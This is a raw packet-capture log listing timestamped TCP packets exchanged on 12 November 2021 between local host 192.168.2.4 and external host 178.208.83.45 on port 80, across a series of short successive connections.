Nov 12, 2021 22:24:14.807163954 CET	80	50101	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.807296038 CET	50101	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.816246033 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816282034 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816359997 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816375017 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816406965 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816437006 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.816443920 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816474915 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816498041 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.816513062 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.816529036 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.816540956 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816548109 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.816649914 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816663027 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816672087 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816971064 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816987038 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.816996098 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817003965 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817017078 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817024946 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817034006 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817043066 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817059994 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817085981 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817125082 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817276001 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817290068 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817329884 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817375898 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817406893 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817456007 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817470074 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817477942 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817490101 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817534924 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817548037 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817557096 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817650080 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817697048 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817711115 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.817719936 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.839164019 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.839198112 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.839216948 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.839235067 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.839255095 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.841420889 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.841563940 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.909727097 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.910032988 CET	50101	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.911236048 CET	50102	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.932410002 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.932531118 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.932560921 CET	80	50101	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.932626009 CET	50101	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.933828115 CET	80	50102	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.934000969 CET	50102	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.934690952 CET	50102	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.957366943 CET	80	50102	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.957397938 CET	80	50102	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.957413912 CET	80	50102	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.957560062 CET	50102	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.957578897 CET	50102	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.066303968 CET	50102	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.067497015 CET	50103	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.089245081 CET	80	50102	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.089390039 CET	50102	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.089869976 CET	80	50103	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.089987993 CET	50103	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.090527058 CET	50103	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.112962961 CET	80	50103	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.112996101 CET	80	50103	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.113010883 CET	80	50103	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.113110065 CET	50103	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.222573042 CET	50103	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.224164009 CET	50104	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.245153904 CET	80	50103	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.245239973 CET	50103	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.246505976 CET	80	50104	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.246638060 CET	50104	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.250423908 CET	50104	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.272840977 CET	80	50104	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.277514935 CET	80	50104	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.277628899 CET	50104	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.394661903 CET	50104	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.395736933 CET	50105	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.417171955 CET	80	50104	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.417305946 CET	50104	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.418328047 CET	80	50105	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.418436050 CET	50105	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.418986082 CET	50105	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.441517115 CET	80	50105	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.445609093 CET	80	50105	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.445709944 CET	50105	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.554265022 CET	50105	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.555439949 CET	50106	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.576869011 CET	80	50105	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.576953888 CET	50105	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.577672005 CET	80	50106	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.577779055 CET	50106	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.581774950 CET	50106	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.604115963 CET	80	50106	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.608174086 CET	80	50106	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.608323097 CET	50106	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.724087954 CET	50106	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.725224018 CET	50108	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.746557951 CET	80	50106	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.746716022 CET	50106	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.747596979 CET	80	50108	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.747725010 CET	50108	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.757513046 CET	50108	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.779942989 CET	80	50108	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.783256054 CET	80	50108	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.783334017 CET	50108	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.894500017 CET	50108	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.895873070 CET	50111	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.917103052 CET	80	50108	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.917187929 CET	50108	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.918170929 CET	80	50111	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.918267965 CET	50111	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.919476986 CET	50111	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:15.941776991 CET	80	50111	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.945046902 CET	80	50111	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:15.945117950 CET	50111	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.071526051 CET	50111	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.072751999 CET	50113	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.073921919 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.093892097 CET	80	50111	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.094014883 CET	50111	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.095083952 CET	80	50113	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.095279932 CET	50113	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.095906019 CET	50113	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.096234083 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.096438885 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.097812891 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.097940922 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.098207951 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.098383904 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.118386984 CET	80	50113	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120327950 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120347023 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120559931 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120652914 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120677948 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120698929 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120722055 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120745897 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120800018 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120907068 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120924950 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.120935917 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120973110 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.120973110 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.120981932 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.121059895 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.121109962 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.123121023 CET	80	50113	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.123245001 CET	50113	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.143593073 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143611908 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143620014 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143631935 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143640041 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143651962 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143663883 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143685102 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143724918 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.143754005 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143780947 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.143820047 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.143845081 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143857002 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143883944 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143907070 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.143933058 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143944979 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.143950939 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.143990993 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.143992901 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.144026041 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.144049883 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.144113064 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.144140005 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.144232035 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.144390106 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.144401073 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.144469976 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.166122913 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166146994 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166158915 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166169882 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166182041 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166193008 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166204929 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166215897 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166228056 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166240931 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166251898 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166263103 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166275978 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166286945 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166287899 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.166318893 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166335106 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.166395903 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166407108 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166419029 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166429996 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166444063 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166456938 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166470051 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166481018 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166512012 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166522980 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166554928 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166568041 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166599035 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166610956 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166641951 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166652918 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166676044 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166682959 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166691065 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166714907 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166726112 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166738987 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.166754007 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.188710928 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.188743114 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.188760996 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.188777924 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.188868999 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.188961029 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.188980103 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.188997030 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.189016104 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.189033031 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.189050913 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.189069033 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.191167116 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.192909956 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.238746881 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.239173889 CET	50113	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.240879059 CET	50115	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.261225939 CET	80	50114	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.261454105 CET	50114	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.261555910 CET	80	50113	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.261691093 CET	50113	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.263315916 CET	80	50115	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.263437986 CET	50115	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.264164925 CET	50115	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.286638021 CET	80	50115	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.290652990 CET	80	50115	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.291565895 CET	50115	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.394551039 CET	50115	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.396286011 CET	50116	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.416994095 CET	80	50115	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.418118000 CET	50115	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.418608904 CET	80	50116	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.419101000 CET	50116	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.420351982 CET	50116	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.443175077 CET	80	50116	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.446151972 CET	80	50116	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.448281050 CET	50116	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.550489902 CET	50116	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.551700115 CET	50117	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.572864056 CET	80	50116	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.573833942 CET	50116	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.574305058 CET	80	50117	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.574459076 CET	50117	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.575078011 CET	50117	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.597583055 CET	80	50117	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.726001978 CET	80	50117	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.727227926 CET	50117	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.832427979 CET	50117	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.834259987 CET	50118	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.855007887 CET	80	50117	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.855139971 CET	50117	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.856487989 CET	80	50118	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.856692076 CET	50118	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.857429028 CET	50118	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.879645109 CET	80	50118	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.880999088 CET	80	50118	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.881016016 CET	80	50118	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:16.881185055 CET	50118	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.989207983 CET	50118	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:16.991100073 CET	50119	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.011702061 CET	80	50118	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.011930943 CET	50118	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.013535976 CET	80	50119	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.014015913 CET	50119	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.014741898 CET	50119	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.037127972 CET	80	50119	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.037199020 CET	80	50119	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.037229061 CET	80	50119	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.037322998 CET	50119	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.037363052 CET	50119	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.144808054 CET	50119	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.146063089 CET	50120	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.167320013 CET	80	50119	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.167459011 CET	50119	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.168488979 CET	80	50120	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.172923088 CET	50120	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.173724890 CET	50120	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.196046114 CET	80	50120	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.200238943 CET	80	50120	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.200361013 CET	50120	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.317092896 CET	50120	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.319400072 CET	50121	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.341902018 CET	80	50121	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.342140913 CET	50121	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.343234062 CET	50121	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.365616083 CET	80	50121	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.368680954 CET	80	50121	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.368789911 CET	50121	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.378947020 CET	80	50120	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.420331001 CET	80	50120	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.420528889 CET	50120	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.488235950 CET	50121	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.489662886 CET	50122	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.510807037 CET	80	50121	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.510991096 CET	50121	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.512307882 CET	80	50122	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.512486935 CET	50122	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.513107061 CET	50122	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.535628080 CET	80	50122	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.538170099 CET	80	50122	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.538301945 CET	50122	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.649807930 CET	50122	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.651710987 CET	50123	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.674890041 CET	80	50122	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.674920082 CET	80	50123	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.674982071 CET	50122	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.675113916 CET	50123	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.675899029 CET	50123	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.698259115 CET	80	50123	178.208.83.45	192.168.2.4
